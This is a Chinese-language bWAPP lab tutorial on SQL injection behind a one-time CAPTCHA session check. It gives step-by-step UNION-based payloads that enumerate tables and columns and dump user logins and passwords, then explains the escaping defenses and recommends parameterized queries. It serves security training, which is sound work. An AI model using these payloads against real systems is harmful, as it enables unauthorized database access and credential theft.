零基础玩转bWAPP靶场(十八):SQL 注入(CAPTCHA) 摘要本文是 bWAPP 系列第十八篇聚焦于带 CAPTCHA验证码保护的 SQL 注入漏洞。这关有点意思——你想进搜索页面得先过验证码。但问题在于验证码只拦门不拦注入。文章会详细分析 CAPTCHA 验证机制、Session 会话控制以及为什么验证码能拦住机器人却拦不住 SQL 注入。同时带上 2024-2026 年真实的 CAPTCHA 绕过与 SQL 注入结合的案例。一、前言前面我们搞定了 GET 搜索、POST 搜索、下拉菜单、AJAX 注入……各种场景都见过了。今天这个关卡有点不一样——它前面挡了一道门验证码CAPTCHA。你点进这个关卡先看到的不是搜索框而是一个验证码页面。输入正确的验证码才能进到搜索页面。这关的设计很有意思验证码是来拦机器人的但它拦不住 SQL 注入。你只要手动输入一次正确的验证码进了搜索页面之后该注还是能注。就好比你家门口装了个门禁门禁确实挡住了外面的人但只要你开了门进去了你在屋里干坏事门禁管不着。二、CAPTCHA 是啥CAPTCHA 全称Completely Automated Public Turing test to tell Computers and Humans Apart全自动区分计算机和人类的图灵测试。说人话用来区分你是人还是机器的一段测试。最常见的形式就是歪歪扭扭的字母数字图片人眼能认出来机器识别困难。目的是防止机器人自动提交表单、撞库、刷票、发垃圾评论。bWAPP 这关的验证码就是一个简单的图片验证码显示在 iframe 里。三、源码分析这个关卡涉及两个文件manual_interv.php验证码入口和sqli_9.php搜索页面。3.1 验证码页面manual_interv.phpif(isset($_POST[form]) isset($_SESSION[captcha])) { if($_POST[captcha_user] $_SESSION[captcha]) { $_SESSION[manual_interv] 1; header(Location: sqli_9.php); exit; } else { $message font color\red\Incorrect CAPTCHA!/font; } }逻辑用户提交验证码把用户输入的captcha_user和 Session 里存的验证码$_SESSION[captcha]对比如果匹配设置$_SESSION[manual_interv] 1跳转到sqli_9.php如果不匹配报错“Incorrect CAPTCHA!”3.2 搜索页面sqli_9.php这个文件开头有一个拦截逻辑if(!(isset($_SESSION[manual_interv])) || $_SESSION[manual_interv] ! 1) { header(Location: manual_interv.php); exit; } else { // 真正的搜索功能 }逻辑检查 Session 里有没有manual_interv这个标记如果没有这个标记或者标记不等于 1强制跳回验证码页面只有manual_interv 1才能看到搜索框执行 SQL 查询搜索部分的 SQL 拼接if(isset($_GET[title])) { $title $_GET[title]; $sql SELECT * FROM movies WHERE title LIKE % . sqli($title) . %; $recordset mysql_query($sql, $link); // ... 显示结果 ... }三种安全级别用的函数级别函数效果Lowno_check()完全不过滤Mediumaddslashes()转义引号、反斜杠Highmysql_real_escape_string()MySQL 专用转义3.3 设计逻辑总结这套机制的设计意图是用户访问 sqli_9.php → 检查 Session → 没有标记 → 跳转到 manual_interv.php → 有标记且为 1 → 显示搜索页面一句话总结验证码是门禁Session 是通行证。你得过门禁拿到通行证才能进搜索页面。四、Low 安全级别4.1 第一步通过验证码进入manual_interv.php页面你会看到一张验证码图片和一个输入框。输入验证码切记验证码区分大小写点 Proceed。验证码正确页面跳转到sqli_9.php看到了搜索框。4.2 第二步判断是否存在注入在搜索框输入a% and 11 #页面显示所有电影。注入存在。4.3 第三步猜字段数order bya% order by 7 #正常。a% order by 8 #报错。结论列数为7。4.4 第四步确定显示位union selecta% union select 1,2,3,4,5,6,7 limit 9,1 #第 2、3 、4、5列位置显示数字说明这几个位置可用。4.5 第五步爆库、爆表、爆字段、爆数据爆库a% union select 1,database(),3,4,5,6,7 limit 9,1 #显示数据库名爆表a% union select 1,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),3,4,5,6,7 limit 9,1 #爆字段以users表为例a% union select 1,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase()),3,4,5,6,7 limit 9,1 #爆数据a% union select 1,(select group_concat(login,-,password,-) from users),3,4,5,6,7 limit 9,1 #五、Medium 安全级别切到 Medium搜索框输入a% and 11 #页面显示“No movies were found!”注入失败。因为addslashes()转义了单引号。但是——如果 MySQL 字符集是 GBK宽字节注入可以绕过。bWAPP 默认是 UTF-8绕不过。六、High 安全级别切到 High同样操作a% and 11 #注入失败。mysql_real_escape_string()转义了特殊字符。但最佳方案还是参数化查询。七、关键问题这个 CAPTCHA 真的能防住攻击吗这关的设计意图是用验证码防止自动化的 SQL 注入攻击。但它存在一个致命缺陷验证码只检查一次。你只要手动输对一次验证码$_SESSION[manual_interv] 1这个标记就一直生效直到你点击“Done!”或者 Session 过期。这意味着攻击者手动过验证码一次然后写脚本自动发送注入请求到sqli_9.php无数次验证码再也拦不住用一个形象的比喻你家门禁确实能拦住外面的人但只要你帮别人开了门他就可以自由进出门禁再也拦不住他了。八、真实世界CAPTCHA 绕过 SQL 注入的组合攻击2024-2026 年CAPTCHA 绕过技术持续进化与 SQL 注入、撞库等攻击结合形成自动化攻击链CVE-2026-40839开源 CRM 系统 ESPO CRM 存在验证码绕过漏洞攻击者可结合 SQL 注入实现未授权数据窃取。CVE-2025-65807Gila CMS 评论验证码绕过漏洞攻击者可利用该漏洞进行 SQL 注入和 XSS 攻击。CVE-2025-0366WordPress 的 Captcha 插件存在验证码绕过漏洞CVSS 评分 8.1高危允许攻击者绕过验证码进行 SQL 注入等攻击。CVE-2025-5324某 CAPTCHA 生成器存在逻辑漏洞允许攻击者通过重放攻击绕过验证结合 SQL 注入漏洞窃取数据。CVE-2025-2671某 Web 应用防火墙的 CAPTCHA 实现存在绕过漏洞攻击者可通过修改 HTTP 头绕过验证进行 SQL 注入。启示CAPTCHA 只是增加攻击成本的辅助手段不是安全防护的核心防线。真正的 SQL 注入防御依然要靠参数化查询。九、总结本关卡核心原理可总结为验证码本质只是一次性访问门禁仅在入口处实现拦截一旦校验通过并在Session中标记放行后续页面不再重复校验这套流程本身不存在逻辑错误但仅能阻挡自动化脚本无法防御进入页面后发起的SQL注入攻击。成功突破验证码门槛后搜索功能的注入利用方式与普通SQL注入关卡完全一致。现实场景中大量验证码存在实现缺陷易被重放、绕过或识别攻击者可结合验证码突破手段与注入漏洞构建完整攻击链。由此可见验证码只能阻拦爬虫机器人无法防护SQL注入风险抵御注入攻击的根本方案依旧是采用参数化查询。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。